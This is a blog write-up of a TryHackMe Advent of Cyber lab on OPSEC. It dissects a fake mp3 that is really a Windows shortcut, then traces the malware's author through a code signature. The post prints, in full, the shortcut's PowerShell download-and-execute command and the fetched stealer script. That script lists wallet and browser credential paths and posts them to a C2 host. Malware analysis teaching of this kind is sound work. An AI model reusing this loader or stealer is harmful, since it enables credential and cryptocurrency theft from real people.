https://res.cloudinary.com/dyhiuslp7/image/upload/v1776960526/portfolio/blog/mu7rirobhqlnldfeudwv.png

security · tryhackme

Advent of cyber Day 1 : OPSEC

first day of advent of cyber

4 min read

OPSEC (Day_1)

For the next 24 days I will share with you my journey in advent of Cyber 2024

Disclaimer: All content in this room, including CPP code, PowerShell scripts, and commands, is provided solely for educational purposes. Please do not execute these on a Windows host.

glitch website.png

Downloaded a file from the glitch suspicious website, found two files song.mp3 and somg.mp3

first checked each file what it's like this :

user@tryhackme:~$ file song.mp3 download.mp3: Audio file with ID3 version 2.3.0, contains:MPEG ADTS, layer III, v1, 192 kbps, 44.1 kHz, Stereo

Check File 2 Terminal

user@tryhackme:~$ file somg.mp3
somg.mp3: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Archive, ctime=Sat Sep 15 07:14:14 2018, mtime=Sat Sep 15 07:14:14 2018, atime=Sat Sep 15 07:14:14 2018, length=448000, window=hide

found the somg.mp3 is an "MS Windows shortcut" aka .lnk

we will use the exiftool to check the .lnk file we will find the following :

Relative Path : ..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Working Directory : C:\Windows\System32\WindowsPowerShell\v1.0 Command Line Arguments : -ep Bypass -nop -c "(New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/MM-WarevilleTHM/IS/refs/heads/main/IS.ps1','C:\ProgramData\s.ps1'); iex (Get-Content 'C:\ProgramData\s.ps1' -Raw)" Machine ID : win-base-2019

oh!, here the -ep Bypass -nop flags disable PowerShell usual restrictions, The DownloadFile method pulls a file (in this case, IS.ps1) from a remote server (https://raw.githubusercontent.com/MM-WarevilleTHM/IS/refs/heads/main/IS.ps1) and saves it in the C:\\ProgramData\\ directory on the target machine.
Once downloaded, the script is executed with PowerShell using the iex command, which triggers the downloaded s.ps1 file.

let's check the url above in the browser, we will find the following code

it has mainly 3 functions, collect wallets data, browser Login data (emails, passwords), and then sends to the C2 server

function Print-AsciiArt {
    Write-Host "  ____     _       ___  _____    ___    _   _ "
    Write-Host " / ___|   | |     |_ _||_   _|  / __|  | | | |"  
    Write-Host "| |  _    | |      | |   | |   | |     | |_| |"
    Write-Host "| |_| |   | |___   | |   | |   | |__   |  _  |"
    Write-Host " \____|   |_____| |___|  |_|    \___|  |_| |_|"
 
    Write-Host "         Created by the one and only M.M."
}
 
# Call the function to print the ASCII art
Print-AsciiArt
 
# Path for the info file
$infoFilePath = "stolen_info.txt"
 
# Function to search for wallet files
function Search-ForWallets {
    $walletPaths = @(
        "$env:USERPROFILE\.bitcoin\wallet.dat",
        "$env:USERPROFILE\.ethereum\keystore\*",
        "$env:USERPROFILE\.monero\wallet",
        "$env:USERPROFILE\.dogecoin\wallet.dat"
    )
    Add-Content -Path $infoFilePath -Value "`n### Crypto Wallet Files ###"
    foreach ($path in $walletPaths) {
        if (Test-Path $path) {
            Add-Content -Path $infoFilePath -Value "Found wallet: $path"
        }
    }
}
 
# Function to search for browser credential files (SQLite databases)
function Search-ForBrowserCredentials {
    $chromePath = "$env:USERPROFILE\AppData\Local\Google\Chrome\User Data\Default\Login Data"
    $firefoxPath = "$env:APPDATA\Mozilla\Firefox\Profiles\*.default-release\logins.json"
 
    Add-Content -Path $infoFilePath -Value "`n### Browser Credential Files ###"
    if (Test-Path $chromePath) {
        Add-Content -Path $infoFilePath -Value "Found Chrome credentials: $chromePath"
    }
    if (Test-Path $firefoxPath) {
        Add-Content -Path $infoFilePath -Value "Found Firefox credentials: $firefoxPath"
    }
}
 
# Function to send the stolen info to a C2 server
function Send-InfoToC2Server {
    $c2Url = "http://papash3ll.thm/data"
    $data = Get-Content -Path $infoFilePath -Raw
 
    # Using Invoke-WebRequest to send data to the C2 server
    Invoke-WebRequest -Uri $c2Url -Method Post -Body $data
}
 
# Main execution flow
Search-ForWallets
Search-ForBrowserCredentials
Send-InfoToC2Server

we will notice in this code the signature "Created by the one and only M.M.", we can search on github for this, and we will find the same code but we now now who's MM (Mayor Maleware) such human error let us know who is the attacker behind the Malicious code.

 when malicious actors fail to follow proper OPSEC practices, they might leave digital traces, common OPSEC mistakes include:

  • Reusing usernames, email addresses, or account handles across multiple platforms. One might assume that anyone trying to cover their tracks would remove such obvious and incriminating information, but sometimes, it's due to vanity or simply forgetfulness.
  • Using identifiable metadata in code, documents, or images, which may reveal personal information like device names, GPS coordinates, or timestamps.
  • Posting publicly on forums or GitHub (Like in this current scenario) with details that tie back to their real identity or reveal their location or habits.
  • Failing to use a VPN or proxy while conducting malicious activities allows law enforcement to track their real IP address.

 

LinkedIn